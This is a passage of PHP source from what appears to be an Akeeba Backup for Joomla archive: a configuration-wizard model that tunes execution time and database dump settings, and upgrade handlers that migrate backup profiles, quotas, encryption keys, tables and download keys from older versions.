				$memlimit = 1024 * 1024 * 1024 * substr($memlimit, 0, -1);
			}
		}

		// Unknown limit; suppose 16M
		if (!is_numeric($memlimit) || ($memlimit === 0))
		{
			$memlimit = 16777216;
		}

		// No limit; suppose 128M
		if ($memlimit === -1)
		{
			$memlimit = 134217728;
		}

		// Get the current memory usage (or assume one if the metric is not available)
		if (function_exists('memory_get_usage'))
		{
			$usedram = memory_get_usage();
		}
		else
		{
			$usedram = 7340032; // Suppose 7M of RAM usage if the metric isn't available;
		}

		// If we have less than 12M of RAM left, we have to limit ourselves to 6 seconds of
		// total execution time (emperical value!) to avoid deadly memory outages
		if (($memlimit - $usedram) < 12582912)
		{
			$maxexec = 5;
		}

		// If the requested delay is over the $maxexec limit (minus one second
		// for application initialization), return false
		if ($secondsDelay > ($maxexec - 1))
		{
			return false;
		}

		// And now, run the silly loop to simulate the CPU usage pattern during backup
		$start = microtime(true);
		$loop  = true;

		while ($loop)
		{
			// Waste some CPU power...
			for ($i = 1; $i < 1000; $i++)
			{
				$j = exp((int)($i * $i / 123 * 864) >> 2);

				unset($j);
			}

			// ... then sleep for a millisec
			usleep(1000);

			// Are we done yet?
			$end = microtime(true);

			if (($end - $start) >= $secondsDelay)
			{
				$loop = false;
			}
		}

		return true;
	}

	/**
	 * This method will analyze your database tables and try to figure out the optimal batch row count value so that its
	 * SELECT doesn't return excessive amounts of data. The only drawback is that it only accounts for the core tables,
	 * but that is usually a good metric.
	 *
	 * @return  void
	 */
	public function analyzeDatabase(): void
	{
		$memlimit = 16777216;

		// Try to get the PHP memory limit
		if (function_exists('ini_get'))
		{
			$memlimit = ini_get("memory_limit");
		}

		if (!is_numeric($memlimit) || ($memlimit === 0))
		{
			$memlimit = 16777216; // Unknown limit; suppose 16M
		}

		if ($memlimit === -1)
		{
			$memlimit = 134217728; // No limit; suppose 128M
		}

		// Get the current memory usage (or assume one if the metric is not available)
		$usedram = 7340032;

		if (function_exists('memory_get_usage'))
		{
			$usedram = memory_get_usage();
		}

		// How much RAM can I spare? It's the max memory minus the current memory usage and an extra
		// 5Mb to cater for Akeeba Engine's peak memory usage
		$max_mem_usage = $usedram + 5242880;
		$ram_allowance = $memlimit - $max_mem_usage;

		// If the RAM allowance is too low, assume 2Mb (emperical value)
		if ($ram_allowance < 2097152)
		{
			$ram_allowance = 2097152;
		}

		// If SHOW TABLE STATUS is not supported this is a safe-ish value.
		$rowCount = 10000;

		// Get the table statistics
		$db = $this->getDatabase();

		if (stripos($db->getName(), 'mysql') !== false)
		{
			// The table analyzer only works with MySQL
			$db->setQuery("SHOW TABLE STATUS");

			try
			{
				$metrics = $db->loadAssocList();
			}
			catch (Exception $exc)
			{
				$metrics = null;
			}

			// SHOW TABLE STATUS is supported.
			if (!empty($metrics))
			{
				$rowCount = 100000; // Start with the default value

				foreach ($metrics as $table)
				{
					// Get row count and average row length
					$rows    = $table['Rows'];
					$avg_len = $table['Avg_row_length'];

					// Calculate RAM usage with current settings
					$max_rows        = min($rows, $rowCount);
					$max_ram_current = $max_rows * $avg_len;

					if ($max_ram_current > $ram_allowance)
					{
						// Hm... over the allowance. Let's try to find a sweet spot.
						$max_rows = (int) ($ram_allowance / $avg_len);
						// Quantize to multiple of 10 rows
						$max_rows = 10 * floor($max_rows / 10);

						// Can't really go below 10 rows / batch
						if ($max_rows < 10)
						{
							$max_rows = 10;
						}

						// If the new setting is less than the current $rowCount, use the new setting
						if ($rowCount > $max_rows)
						{
							$rowCount = $max_rows;
						}
					}
				}
			}
		}

		$profile_id = Platform::getInstance()->get_active_profile();
		$config     = Factory::getConfiguration();

		// Use the correct database dump engine (only 'native' is currently supported)
		$config->set('akeeba.advanced.dump_engine', 'native');

		// Save the row count per batch
		$config->set('engine.dump.common.batchsize', $rowCount);

		// Enable SQL file splitting - default is 512K unless the part_size is less than that!
		$splitSize = 524288;
		$partSize  = $config->get('engine.archiver.common.part_size', 0);

		if (($partSize < $splitSize) && !empty($partSize))
		{
			$splitSize = $partSize;
		}

		$config->set('engine.dump.common.splitsize', $splitSize);

		// Enable extended INSERTs
		$config->set('engine.dump.common.extended_inserts', '1');

		// Determine optimal packet size (must be at most two fifths of the split size and no more than 256K)
		$packet_size = (int) $splitSize * 0.4;

		if ($packet_size > 262144)
		{
			$packet_size = 262144;
		}

		$config->set('engine.dump.common.packet_size', $packet_size);

		// Enable the native dump engine
		$config->set('akeeba.advanced.dump_engine', 'native');

		Platform::getInstance()->save_configuration($profile_id);
	}

	/**
	 * Executes the action requested through AJAX
	 *
	 * @return  array
	 * @throws  Exception
	 *
	 * @noinspection PhpUnused
	 */
	public function runAjax(): array
	{
		// Only allowed actions
		$allowedActions = [
			'ping', 'minexec', 'applyminexec', 'directories', 'database', 'maxexec', 'applymaxexec', 'partsize', 'flush'
		];

		// Get the requested action from the model state
		$action = $this->getState('act');

		$result = ['status' => false];

		if (in_array($action, $allowedActions) && method_exists($this, $action))
		{
			$result = call_user_func([$this, $action]);
		}

		return $result;
	}

	/**
	 * Creates a dummy file of a given size. Remember to give the filesize query parameter in bytes!
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 */
	public function partsize(): array
	{
		$timer  = Factory::getTimer();
		$blocks = JoomlaFactory::getApplication()->getInput()->getInt('blocks', 1);

		$result = $this->createTempFile($blocks);

		if ($result)
		{
			// Save the setting
			if ($blocks > 200)
			{
				$blocks = 16383; // Over 25Mb = 2Gb minus 128Kb limit (safe setting for PHP not running on 64-bit Linux)
			}

			$profile_id = Platform::getInstance()->get_active_profile();
			$config     = Factory::getConfiguration();
			$config->set('engine.archiver.common.part_size', $blocks * 128 * 1024);
			Platform::getInstance()->save_configuration($profile_id);
		}

		// Enforce the min exec time
		$timer->enforce_min_exec_time(false);

		return ['status' => $result];
	}

	/**
	 * Pings the configuration wizard process and marks the current profile as configured
	 *
	 * @return  array{status: bool}
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function ping(): array
	{
		// Get the profile ID
		$profile_id = Platform::getInstance()->get_active_profile();

		// Set the embedded installer to the default ANGIE installer
		$engineConfig = Factory::getConfiguration();
		$engineConfig->set('akeeba.advanced.embedded_installer', 'angie');

		// And mark this profile as already configured
		$engineConfig->set('akeeba.flag.confwiz', 1);

		Platform::getInstance()->save_configuration($profile_id);

		return ['status' => true];
	}

	/**
	 * Try different values of minimum execution time
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function minexec(): array
	{
		$seconds = JoomlaFactory::getApplication()->getInput()
			->get('seconds', '0.5', 'float');

		if ($seconds < 1)
		{
			usleep($seconds * 1000000);
		}
		else
		{
			sleep($seconds);
		}

		return ['status' => true];
	}

	/**
	 * Saves the AJAX preference and the minimum execution time
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function applyminexec(): array
	{
		// Get the user parameters
		$minexec = JoomlaFactory::getApplication()->getInput()
			->get('minexec', 2.0, 'float');

		// Save the settings
		$profile_id   = Platform::getInstance()->get_active_profile();
		$engineConfig = Factory::getConfiguration();
		$engineConfig->set('akeeba.tuning.min_exec_time', $minexec * 1000);
		Platform::getInstance()->save_configuration($profile_id);

		// Enforce the min exec time
		$timer = Factory::getTimer();
		$timer->enforce_min_exec_time(false);

		// Done!
		return ['status' => true];
	}

	/**
	 * Try to make the directories writable or provide a set of writable directories
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function directories(): array
	{
		$timer  = Factory::getTimer();
		$result = $this->autofixDirectories();
		$timer->enforce_min_exec_time(false);

		return ['status' => $result];
	}

	/**
	 * Analyze the database and apply optimized database dump settings
	 *
	 * @return  array{status: bool}
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function database(): array
	{
		$timer = Factory::getTimer();
		$this->analyzeDatabase();
		$timer->enforce_min_exec_time(false);

		return ['status' => true];
	}

	/**
	 * Try to apply a specific maximum execution time setting
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function maxexec(): array
	{
		$seconds = JoomlaFactory::getApplication()->getInput()
			->get('seconds', 30, 'int');
		$timer   = Factory::getTimer();
		$result  = $this->doNothing($seconds);
		$timer->enforce_min_exec_time(false);

		return ['status' => $result];
	}

	/**
	 * Save a specific maximum execution time preference to the database
	 *
	 * @return  array{status: bool}
	 * @throws  Exception
	 *
	 * @noinspection PhpUnusedPrivateMethodInspection
	 */
	private function applymaxexec(): array
	{
		// Get the user parameters
		$maxexec = JoomlaFactory::getApplication()->getInput()
			->get('seconds', 2, 'int');

		// Save the settings
		$timer      = Factory::getTimer();
		$profile_id = Platform::getInstance()->get_active_profile();
		$config     = Factory::getConfiguration();
		$config->set('akeeba.tuning.max_exec_time', $maxexec);
		$config->set('akeeba.tuning.run_time_bias', '75');
		$config->set('akeeba.advanced.scan_engine', 'smart');
		$config->set('akeeba.advanced.archiver_engine', 'jpa');
		Platform::getInstance()->save_configuration($profile_id);

		// Enforce the min exec time
		$timer->enforce_min_exec_time(false);

		// Done!
		return ['status' => true];
	}

	/**
	 * Checks whether calling flush() crashes PHP
	 *
	 * @return  true[]
	 * @see     https://www.akeeba.com/support/pre-sales-requests/40667-ajax-invalid-problem.html
	 */
	private function flush(): array
	{
		$cParams = ComponentHelper::getParams('com_akeebabackup');
		/** @var ComponentParameters $paramsService */
		$paramsService = JoomlaFactory::getApplication()->bootComponent('com_akeebabackup')->getComponentParametersService();

		// If no_flush is enabled, skip over
		if ($cParams->get('no_flush', 0) == 1)
		{
			return ['status' => true];
		}

		// Set no_flush to enabled
		$cParams->set('no_flush', 1);
		$paramsService->save($cParams);

		// Try to flush();
		flush();

		// Set no_flush to disabled
		$cParams->set('no_flush', 0);
		$paramsService->save($cParams);

		return ['status' => true];
	}
}PK     \+4    '  src/Model/UpgradeHandler/AngieToBrs.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeHandler;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\AkeebaEngineTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Installer\InstallerAdapter;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

class AngieToBrs
{
	use AkeebaEngineTrait;

	/**
	 * The UpgradeModel instance we belong to.
	 *
	 * @var   UpgradeModel
	 * @since 9.0.0
	 */
	private $upgradeModel;

	/**
	 * Joomla database driver object
	 *
	 * @var   DatabaseInterface|DatabaseDriver
	 * @since 9.0.0
	 */
	private $dbo;

	/**
	 * Constructor.
	 *
	 * @param   UpgradeModel  $upgradeModel  The UpgradeModel instance we belong to
	 *
	 * @since   9.0.0
	 */
	public function __construct(UpgradeModel $upgradeModel, DatabaseDriver $dbo)
	{
		$this->upgradeModel = $upgradeModel;
		$this->dbo          = $dbo;
	}

	public function onUpdate(?string $type = null, ?InstallerAdapter $parent = null): void
	{
		// Get a list of all backup profiles
		$db         = $this->dbo;
		$query      = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('id'))
			->from($db->quoteName('#__akeebabackup_profiles'));
		$profileIds = $db->setQuery($query)->loadColumn();

		// Normally this should never happen as we're supposed to have at least profile #1
		if (empty($profileIds))
		{
			return;
		}

		$this->loadAkeebaEngine($this->dbo);

		$platform       = Platform::getInstance();
		$currentProfile = $platform->get_active_profile();

		foreach ($profileIds as $profile)
		{
			// Load the profile configuration
			try
			{
				$platform->load_configuration($profile);
				$config = Factory::getConfiguration();
			}
			catch (\Throwable $e)
			{
				// Your database is broken :(
				continue;
			}

			$currentInstaller = $config->get('akeeba.advanced.embedded_installer', 'brs');

			if (strpos($currentInstaller, 'brs') === 0)
			{
				continue;
			}

			// Transcribe the local quota to remote quota settings if the legacy "Enable remote quotas" option is on.
			$protected = $config->getProtectedKeys();
			$config->setProtectedKeys([]);

			$newInstaller = str_replace('angie', 'brs', $currentInstaller);

			if (!in_array($newInstaller, ['brs', 'brs-generic']))
			{
				$newInstaller = 'brs';
			}

			$config->set('akeeba.advanced.embedded_installer', $newInstaller);

			$config->setProtectedKeys($protected);

			// Save the changes
			try
			{
				$platform->save_configuration($profile);
			}
			catch (\Throwable $e)
			{
				// Your database is broken!
				continue;
			}
		}

		$platform->load_configuration($currentProfile);
	}
}PK     \L=8ii  i  )  src/Model/UpgradeHandler/RemoteQuotas.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeHandler;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\AkeebaEngineTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Installer\InstallerAdapter;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

class RemoteQuotas
{
	use AkeebaEngineTrait;

	/**
	 * The UpgradeModel instance we belong to.
	 *
	 * @var   UpgradeModel
	 * @since 9.0.0
	 */
	private $upgradeModel;

	/**
	 * Joomla database driver object
	 *
	 * @var   DatabaseInterface|DatabaseDriver
	 * @since 9.0.0
	 */
	private $dbo;

	/**
	 * Constructor.
	 *
	 * @param   UpgradeModel  $upgradeModel  The UpgradeModel instance we belong to
	 *
	 * @since   9.0.0
	 */
	public function __construct(UpgradeModel $upgradeModel, DatabaseDriver $dbo)
	{
		$this->upgradeModel = $upgradeModel;
		$this->dbo          = $dbo;
	}

	public function onUpdate(?string $type = null, ?InstallerAdapter $parent = null): void
	{
		// Get a list of all backup profiles
		$db         = $this->dbo;
		$query      = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('id'))
			->from($db->quoteName('#__akeebabackup_profiles'));
		$profileIds = $db->setQuery($query)->loadColumn();

		// Normally this should never happen as we're supposed to have at least profile #1
		if (empty($profileIds))
		{
			return;
		}

		$this->loadAkeebaEngine($this->dbo);

		$platform       = Platform::getInstance();
		$currentProfile = $platform->get_active_profile();

		foreach ($profileIds as $profile)
		{
			// Load the profile configuration
			try
			{
				$platform->load_configuration($profile);
				$config = Factory::getConfiguration();
			}
			catch (\Throwable $e)
			{
				// Your database is broken :(
				continue;
			}

			if ($config->get('akeeba.quota.remote', 0) != 1)
			{
				continue;
			}

			// Transcribe the local quota to remote quota settings if the legacy "Enable remote quotas" option is on.
			$protected = $config->getProtectedKeys();
			$config->setProtectedKeys([]);

			$config->set('akeeba.quota.remote', null);
			$config->set('akeeba.quota.remotely.maxage.enable', $config->get('akeeba.quota.maxage.enable', 0));
			$config->set('akeeba.quota.remotely.maxage.maxdays', $config->get('akeeba.quota.maxage.maxdays', 31));
			$config->set('akeeba.quota.remotely.maxage.keepday', $config->get('akeeba.quota.maxage.keepday', 1));
			$config->set('akeeba.quota.remotely.enable_size_quota', $config->get('akeeba.quota.enable_size_quota', 0));
			$config->set('akeeba.quota.remotely.size_quota', $config->get('akeeba.quota.size_quota', 15728640));
			$config->set('akeeba.quota.remotely.enable_count_quota', $config->get('akeeba.quota.enable_count_quota', 1));
			$config->set('akeeba.quota.remotely.count_quota', $config->get('akeeba.quota.count_quota', 3));

			$config->setProtectedKeys($protected);

			// Save the changes
			try
			{
				$platform->save_configuration($profile);
			}
			catch (\Throwable $e)
			{
				// Your database is broken!
				continue;
			}
		}

		$platform->load_configuration($currentProfile);
	}
}PK     \"[d9  d9  ,  src/Model/UpgradeHandler/MigrateSettings.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeHandler;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\JoomlaPublicFolder;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Utility\BufferStreamHandler;
use Joomla\Component\Installer\Administrator\Helper\InstallerHelper;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Joomla\Filesystem\Folder;
use RuntimeException;
use Throwable;

/**
 * Custom UpgradeModel handler for migrating from Akeeba Backup 7/8 to 9+
 *
 * @since  9.0.0
 */
class MigrateSettings
{
	/**
	 * The UpgradeModel instance we belong to.
	 *
	 * @var   UpgradeModel
	 * @since 9.0.0
	 */
	private $upgradeModel;

	/**
	 * Joomla database driver object
	 *
	 * @var   DatabaseInterface|DatabaseDriver
	 * @since 9.0.0
	 */
	private $dbo;

	/**
	 * Constructor.
	 *
	 * @param   UpgradeModel  $upgradeModel  The UpgradeModel instance we belong to
	 *
	 * @since   9.0.0
	 */
	public function __construct(UpgradeModel $upgradeModel, DatabaseDriver $dbo)
	{
		$this->upgradeModel = $upgradeModel;
		$this->dbo          = $dbo;
	}

	/**
	 * Do I need to migrate settings from pkg_akeeba?
	 *
	 * This will return true only if com_akeeba is installed AND I have not already migrated the settings.
	 *
	 * @return  bool
	 * @since   9.0.0
	 */
	public function onNeedsMigration(): bool
	{
		$cParams         = ComponentHelper::getParams('com_akeebabackup');
		$alreadyMigrated = $cParams->get('migrated_from_pkg_akeeba', 0) == 1;
		$hasPkgAkeeba    = !empty($this->upgradeModel->getExtensionId('com_akeeba'));

		return $hasPkgAkeeba && !$alreadyMigrated;
	}

	/**
	 * Do we have a compatible, old version of Akeeba Backup (com_akeeba) already installed on the site?
	 *
	 * This tries to load the version of the already installed version from the manifest cache of the old component. A
	 * version is compatible if it's Akeeba Backup 7 or 8 or a dev release we created anytime after January 1st, 2020
	 * i.e. after we had announced Akeeba Backup 7 as an upcoming release.
	 *
	 * @return  bool
	 * @since   9.0.0
	 */
	public function onHasCompatibleAkeebaVersion(): bool
	{
		// Get the extension ID for com_akeeba
		$eid = $this->upgradeModel->getExtensionId('com_akeeba');

		if (empty($eid))
		{
			return false;
		}

		// Get the cached manifest of the old component (com_akeeba)
		$db    = $this->dbo;
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->quoteName('manifest_cache'),
			])
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('component'))
			->where($db->quoteName('element') . ' = ' . $db->quote('com_akeeba'));

		try
		{
			$manifestCacheJson = $db->setQuery($query)->loadResult();
		}
		catch (Exception $e)
		{
			return false;
		}

		// JSON decode the manifest
		$manifest = @json_decode($manifestCacheJson, true);

		if (empty($manifest))
		{
			return false;
		}

		// Get the creation date and version
		$creationDate = $manifest['creationDate'];
		$version      = $manifest['version'];

		// If it's version 7.0.0 or later we're golden.
		if (version_compare($version, '7.0.0', 'ge'))
		{
			return true;
		}

		try
		{
			$date = clone JoomlaFactory::getDate($creationDate);
		}
		catch (Exception $e)
		{
			return false;
		}

		// If we have a dev release it must be published after January 1st, 2020, i.e. the year must be 2020 or later.
		if ($date->year >= 2020)
		{
			return true;
		}

		// All checks failed. This is an old version.
		return false;
	}

	/**
	 * Migrate from Akeeba Backup 7.x / 8.x
	 *
	 * @return  bool  Always true
	 * @since   9.0.0
	 */
	public function onMigrateSettings(): bool
	{
		$this->migrateDownloadKey();
		$this->migrateComponentOptions();
		$this->migrateEngineKey();
		$this->migrateDatabaseData();
		$this->migrateDefaultBackupFolder();

		return true;
	}

	public function onInstall($type, $parent)
	{
		JoomlaPublicFolder::savePublicFolder();
	}

	public function onUpdate($type, $parent)
	{
		JoomlaPublicFolder::savePublicFolder();
	}

	/**
	 * Migrates the component options from com_akeeba to com_akeebabackup and mark everything as migrated.
	 *
	 * @return  void
	 * @since   9.0.0
	 */
	private function migrateComponentOptions(): void
	{
		$oldParams = ComponentHelper::getParams('com_akeeba');
		$cParams   = ComponentHelper::getParams('com_akeebabackup');

		foreach ($oldParams->getIterator() as $key => $value)
		{
			$cParams->set($key, $value);
		}

		$cParams->set('migrated_from_pkg_akeeba', 1);

		JoomlaFactory::getApplication()
			->bootComponent('com_akeebabackup')
			->getComponentParametersService()
			->save($cParams);
	}

	/**
	 * Migrate the Akeeba Engine settings encryption key from com_akeeba to com_akeebabackup.
	 *
	 * @return  void
	 * @since   9.0.0
	 */
	private function migrateEngineKey(): void
	{
		$oldKey = JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine/serverkey.php';
		$newKey = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/engine/serverkey.php';

		if (!@file_exists($oldKey) || !@is_file($oldKey) || !@is_readable($oldKey))
		{
			return;
		}

		@copy($oldKey, $newKey);
	}

	/**
	 * Migrate the database data from com_akeeba to com_akeebabackup.
	 *
	 * @return  void
	 * @since   9.0.0
	 */
	private function migrateDatabaseData(): void
	{
		// First, we will mass-migrate the data
		$tableMap = [
			'#__ak_profiles' => '#__akeebabackup_profiles',
			'#__ak_stats'    => '#__akeebabackup_backups',
			'#__ak_storage'  => '#__akeebabackup_storage',
		];

		$this->dbo->transactionStart();

		foreach ($tableMap as $oldTable => $newTable)
		{
			// Remove all data from the existing table
			$this->dbo->truncateTable($newTable);

			// Create and run an INSERT INTO ... SELECT query to make the migrate run as fast as possible.
			$outerQuery = (method_exists($this->dbo, 'createQuery') ? $this->dbo->createQuery() : $this->dbo->getQuery(true))
				->select('*')
				->from($this->dbo->quoteName($oldTable));

			if ($oldTable === '#__ak_profiles')
			{
				$outerQuery->select('1 AS ' . $this->dbo->quoteName('access'));
			}

			$innerQuery = 'INSERT INTO ' . $this->dbo->quoteName($newTable) . ' ' . ((string) $outerQuery);

			$this->dbo->setQuery($innerQuery)->execute();
		}

		try
		{
			$this->dbo->transactionCommit();
		}
		catch (Exception $e)
		{
		}
	}

	private function migrateDefaultBackupFolder(): void
	{
		$oldFolder = 'components/com_akeeba/backup';
		$newFolder = 'components/com_akeebabackup/backup';

		// STEP 0 - Load the migrated server key using our neat in-memory patching trick. We'll need it in step 1 below.
		$this->reloadEncryptionKey();

		// STEP 1 — Replace com_akeeba to com_akeebabackup in the absolute output directory path of each backup profile.
		foreach ($this->getBackupProfileIDs() as $profile)
		{
			// Load the profile configuration
			try
			{
				Platform::getInstance()->load_configuration($profile);
				$config = Factory::getConfiguration();
			}
			catch (Throwable $e)
			{
				// Your database is broken :(
				continue;
			}

			$outputDirectory = $config->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]');

			if (strpos($outputDirectory, $oldFolder) === false)
			{
				continue;
			}

			$outputDirectory = str_replace($oldFolder, $newFolder, $outputDirectory);

			try
			{
				Platform::getInstance()->save_configuration($profile);
			}
			catch (Throwable $e)
			{
				// Your database is broken!
				continue;
			}
		}

		// STEP 2 — Replace com_akeeba to com_akeebabackup in the absolute file path of every backup record.
		$db    = $this->dbo;
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->quoteName('#__akeebabackup_backups'))
			->set(
				$db->quoteName('absolute_path') . ' = REPLACE(' .
				$db->quoteName('absolute_path') . ', :find, :replace'
				. ')'
			)
			->bind(':find', $oldFolder)
			->bind(':replace', $newFolder);
		$db->setQuery($query)->execute();

		// STEP 3 — Move all backup archives, log files and so on
		$sourceDir = JPATH_ADMINISTRATOR . '/' . $oldFolder;
		$destDir   = JPATH_ADMINISTRATOR . '/' . $newFolder;

		try
		{
			$folders = Folder::files($sourceDir);
		}
		catch (Exception $e)
		{
			$folders = [];
		}

		foreach ($folders as $fileName)
		{
			$sourceFile = $sourceDir . '/' . $fileName;
			$destFile   = $destDir . '/' . $fileName;

			if (!@rename($sourceFile, $destFile))
			{
				// File::move($sourceFile, $destFile);
			}
		}
	}

	/**
	 * Returns the IDs of all backup profiles
	 *
	 * @return  array
	 * @since   9.0.0
	 */
	private function getBackupProfileIDs(): array
	{
		$db = $this->dbo;

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('id'))
			->from($db->quoteName('#__akeebabackup_profiles'));

		$profiles = $db->setQuery($query)->loadColumn() ?: [];

		return $profiles;
	}

	private function reloadEncryptionKey()
	{
		$newKey   = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/engine/serverkey.php';
		$contents = @file_get_contents($newKey);

		if ($contents === false)
		{
			return;
		}

		$contents = str_replace('AKEEBA_SERVERKEY', 'AKEEBA_MIGRATED_SERVERKEY', $contents);

		BufferStreamHandler::stream_register();
		file_put_contents('buffer://serverkey.php', $contents);
		require_once 'buffer://serverkey.php';

		if (!defined('AKEEBA_MIGRATED_SERVERKEY'))
		{
			[$junk, $toProcess] = explode("'AKEEBA_MIGRATED_SERVERKEY',", $contents);
			$toProcess = trim($toProcess, " \t\n;php?>)");
			$toProcess = trim($toProcess, '\'');
			define('AKEEBA_MIGRATED_SERVERKEY', $toProcess);
		}

		$key = @base64_decode(AKEEBA_MIGRATED_SERVERKEY);

		if (empty($key))
		{
			return;
		}

		$secSettings = Factory::getSecureSettings();
		$secSettings->setKey($key);
	}

	private function migrateDownloadKey(): void
	{
		$oldEid = $this->getExtensionId('pkg_akeeba', 'package', 0);
		$newEid = $this->getExtensionId('pkg_akeebabackup', 'package', 0);

		if (empty($oldEid) || empty($newEid))
		{
			return;
		}

		$oldDLKey = $this->getDownloadKey($oldEid);
		$newDLKey = $this->getDownloadKey($newEid);

		// If I already have a key do nothing
		if ($newDLKey['valid'])
		{
			return;
		}

		// If the old version does not have a key or does not support keys the Joomla 4 fall back to component options
		$dlid = $oldDLKey['value'] ?? null;

		if (!$oldDLKey['valid'] || !$oldDLKey['supported'])
		{
			$dlid = ComponentHelper::getParams('com_akeeba')->get('update_dlid', null);
		}

		// No Download ID to migrate? Okay, then.
		if (empty($dlid))
		{
			return;
		}

		$this->setDownloadKey($newEid, $dlid);
	}

	private function getDownloadKey(int $extension_id): array
	{
		// Get the extension record
		$db        = $this->dbo;
		$extension = new \Joomla\CMS\Table\Extension($db);
		$extension->load($extension_id);

		// Joomla expects the extra_query key in the object. This comes from the update site
		if (method_exists($extension, 'set'))
		{
			/** @noinspection PhpDeprecationInspection */
			$extension->set('extra_query', $this->getExtraQuery($extension_id));
		}
		else
		{
			$extension->extra_query = $this->getExtraQuery($extension_id);
		}

		// Use the InstallerHelper::getDownloadKey to get the current download key
		return InstallerHelper::getDownloadKey($extension);
	}

	private function setDownloadKey(int $extension_id, ?string $downloadKey)
	{
		$dlKeyInfo = $this->getDownloadKey($extension_id);

		if (!($dlKeyInfo['supported'] ?? false))
		{
			throw new RuntimeException('The extension does not support Download Keys');
		}

		$extraQuery = empty($downloadKey) ? null : ($dlKeyInfo['prefix'] . $downloadKey . $dlKeyInfo['suffix']);

		$this->setExtraQuery($extension_id, $extraQuery);
	}

	private function getExtraQuery(int $extension_id): ?string
	{
		$db    = $this->dbo;
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('update_site_id'))
			->from($db->quoteName('#__update_sites_extensions'))
			->where($db->quoteName('extension_id') . ' = :eid')
			->bind(':eid', $extension_id, ParameterType::INTEGER);
		$usid  = $db->setQuery($query)->loadResult() ?: null;

		if (empty($usid))
		{
			return null;
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('extra_query'))
			->from($db->quoteName('#__update_sites'))
			->where($db->quoteName('update_site_id') . ' = :usid')
			->bind(':usid', $usid, ParameterType::INTEGER);

		return $db->setQuery($query)->loadResult() ?: null;
	}

	private function setExtraQuery(int $extension_id, ?string $extraQuery): void
	{
		$db    = $this->dbo;
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('update_site_id'))
			->from($db->quoteName('#__update_sites_extensions'))
			->where($db->quoteName('extension_id') . ' = :eid')
			->bind(':eid', $extension_id, ParameterType::INTEGER);
		$usid  = $db->setQuery($query)->loadResult() ?: null;

		if (empty($usid))
		{
			throw new RuntimeException('Cannot find the update site for the extension');
		}

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->quoteName('#__update_sites'))
			->set($db->quoteName('extra_query') . ' = ' . $db->quote($extraQuery))
			->where($db->quoteName('update_site_id') . ' = :usid')
			->bind(':usid', $usid, ParameterType::INTEGER);

		$db->setQuery($query)->execute();
	}

	private function getExtensionId($element, $type, $clientId): ?int
	{
		$db    = $this->dbo;
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = :type')
			->where($db->quoteName('element') . ' = :element')
			->where($db->quoteName('client_id') . ' = :client_id');
		$query->bind(':type', $type, ParameterType::STRING);
		$query->bind(':element', $element, ParameterType::STRING);
		$query->bind(':client_id', $clientId, ParameterType::INTEGER);

		return $db->setQuery($query)->loadResult() ?: null;
	}
